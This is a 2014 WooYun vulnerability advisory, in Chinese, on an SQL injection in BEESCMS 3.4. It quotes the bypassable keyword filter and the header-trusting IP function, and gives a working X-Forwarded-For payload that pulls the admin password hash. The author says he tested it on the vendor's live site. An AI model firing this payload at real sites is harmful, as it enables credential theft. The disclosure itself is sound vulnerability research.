当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058601

漏洞标题:BEESCMS 3.4最新版SQL注入漏洞

相关厂商:beescms.com

漏洞作者: 酱油甲

提交时间:2014-04-28 11:03

修复时间:2014-07-27 11:04

公开时间:2014-07-27 11:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-28: 细节已通知厂商并且等待厂商处理中
2014-05-01: 厂商已经确认,细节仅向厂商公开
2014-05-04: 细节向第三方安全合作伙伴开放
2014-06-25: 细节向核心白帽子及相关领域专家公开
2014-07-05: 细节向普通白帽子公开
2014-07-15: 细节向实习白帽子公开
2014-07-27: 细节向公众公开

简要描述:

BEESCMS 3.4最新版,SQL注入漏洞

详细说明:

BEESCMS 3.4最新版,无视GPC~~~~~~~~
看到BEECMS最新版更新了,很开心的又下了一个~~

1.jpg


然后我们看看他的过滤函数:
includes/fun.php

function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
}


这是叫我们在没有where , 没有 = 号,没有 in 的恶劣条件下注入啊……还好,这不是还有like,还有XPATH么……
找一个能注入的地方,发现有get_ip,嗯,就你了~~果断X-FORWARED-FOR啊~
includes/fun.php

function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
return $_SERVER['REMOTE_ADDR'];
}


然后找一个位置,好的~~就你了:
mx_form/order_save.php

$ip=fl_value(get_ip());
$ip=fl_html($ip);
$member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";
$mysql->query($sql);


然后构造下~~

X-Forwarded-For: 8.8.8.8',extractvalue(1,conCat(0x24, (sEleCt admin_password FrOm `bees_admin`))),'22') -- #

漏洞证明:

我们在官网测试:
1.注册一个帐号~~~
2.选择一个商品……额,就选择个看起来最邪恶的把……

2.jpg


3.提交个人信息,改包:

3.jpg


4.额……没给表的权限……不过确实成功了……

4.jpg


5.我们换到本地看看~~
重复上面步骤·~~
果断成功

5.jpg

修复方案:

把 fl_value 函数改改~~

版权声明:转载请注明来源 酱油甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-01 21:57

厂商回复:

谢谢,已经在处理

最新状态:

暂无